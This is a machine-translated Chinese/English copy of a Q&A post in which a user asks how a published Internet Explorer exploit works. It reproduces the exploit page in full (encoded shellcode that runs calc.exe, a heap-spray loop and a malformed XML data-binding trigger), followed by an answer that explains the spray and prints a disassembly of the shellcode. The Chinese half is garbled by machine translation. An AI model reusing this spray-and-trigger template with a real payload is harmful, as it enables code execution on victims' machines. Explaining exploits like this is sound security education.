帮助我了解这段JavaScript漏洞 [英] Help me understand this JavaScript exploit
问题描述
我通常不会有困难阅读的JavaScript脚本，但是这一次我想不通的逻辑。在code是一个利用漏洞已经5天前公布。您可以在
I usually do not have difficulty to read JavaScript script but this one I can't figure out the logic. The code is from an Exploit that has been published 4 days ago. You can find it at milw0rm.
下面是code：
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
下面是什么，我相信它，我想你帮我，我误解的部分。
Here is what I believe it does and I would like you to help me for the part that I misunderstand.
变量壳code 包含code打开的calc.exe。我不明白它们是如何发现怪异的串...任何想法？
The variable shellcode contain the code to open the calc.exe. I do not get it how they have found that weird string... any idea?
第二件事是变量喷雾。我不明白这个奇怪的循环？
The second thing is the variable spray. I do not understand this weird loop?
第三件事情是从来没有在任何地方使用变量内存，为什么他们创建？
The third thing is the variable memory that is never used anywhere, why do they create it?
最后一件事，是什么XML标签做页面？
Last thing, What does the XML tag do in the page?
好吧，就目前我有很好的答案，但大多很
一般。我想的价值更多的解释
code。一个例子是 UNESCAPE（％u0a0a％u0a0a）; 。这是什么意思？
为循环，为什么开发商写同样的事情：长度LT; 0xd0000 ？我想更深入的了解，而不是
只有理论上这code的。
Alright, for the moment I have good answers but mostly very
general. I would like more explanations of the value of the
code. An example is unescape("%u0a0a%u0a0a");. What does it mean?
Same thing for the loop, why did the developer write:
length < 0xd0000? I would like a deeper understanding, not
only the theory of this code.
推荐答案
外壳code包含一些x86汇编指令会做实际的漏洞。 喷雾创建了将放在内存指令长序列。因为我们通常不能找出我们的记忆外壳code的准确位置，我们投入了大量的 NOP 之前的指令并跳转到某个地方有。在内存阵列将持有实际的x86 code与跳跃机制一起。我们将饲料制作的XML到有一个错误的图书馆。当它被解析，这个bug会导致指令指针寄存器被分配到某个地方在我们的开发，从而导致任意code执行。
The shellcode contains some x86 assembly instructions that will do the actual exploit. spray creates a long sequence of instructions that will be put in memory. Since we can't usually find out the exact location of our shellcode in memory, we put a lot of nop instructions before it and jump to somewhere there. The memory array will hold the actual x86 code along with the jumping mechanism. We'll feed the crafted XML to the library which has a bug. When it's being parsed, the bug will cause the instruction pointer register to be assigned to somewhere in our exploit, leading to arbitrary code execution.
要了解更深入，你实际上应该弄清楚什么是在x86 code。 unscape 将被用于把字节序列重新在喷雾变量psented字符串$ P $。它是有效的x86 code填充一大块堆，并跳转到外壳code的开始。究其原因，终止条件是脚本引擎的字符串长度的限制。你不能有字符串长度超过一个特定的长度。
To understand more deeply, you should actually figure out what is in the x86 code. unscape will be used to put the sequence of bytes represented of the string in the spray variable. It's valid x86 code that fills a large chunk of the heap and jumps to the start of shellcode. The reason for the ending condition is string length limitations of the scripting engine. You can't have strings larger than a specific length.
在x86汇编， 0a0a 重新presents 或Cl，[EDX] 。这实际上等同于 NOP 指令为我们利用的目的。无论我们在喷雾跳转到，我们会得到下一个指令，直到我们达到壳code这是code，我们实际上要执行
In x86 assembly, 0a0a represents or cl, [edx]. This is effectively equivalent to nop instruction for the purposes of our exploit. Wherever we jump to in the spray, we'll get to the next instruction until we reach the shellcode which is the code we actually want to execute.
如果你看一下XML，你会看到 0x0a0a 也在那儿。究竟说明会发生什么，需要的特定知识的利用（你必须知道那里的错误是，它是如何利用，这是我不知道）。但是，我们似乎强制Internet Explorer中通过设置的innerHTML 来恶意XML字符串来触发马车code。 Internet Explorer尝试分析它与马车code莫名其妙地将控制权交给一个内存位置，数组存在（因为它是一大块，跳跃的概率也高）。当我们跳到那里CPU将继续执行或Cl，[EDX] 的指令，直到达到壳code，它是把内存的开始。
If you look at the XML, you'll see 0x0a0a is there too. Exactly describing what happens requires specific knowledge of the exploit (you have to know where the bug is and how it's exploited, which I don't know). However, it seems that we force Internet Explorer to trigger the buggy code by setting the innerHtml to that malicious XML string. Internet Explorer tries to parse it and the buggy code somehow gives control to a location of memory where the array exists (since it's a large chunk, the probability of jumping there is high). When we jump there the CPU will keep executing or cl, [edx] instructions until in reaches the beginning of shellcode that's put in memory.
我拆开外壳code：
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
了解这个壳code需要在MS库本身x86汇编知识和问题（要知道系统状态是，当我们到达这里），而不是JavaScript的！这code将依次执行的calc.exe 。
这篇关于帮助我了解这段JavaScript漏洞的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
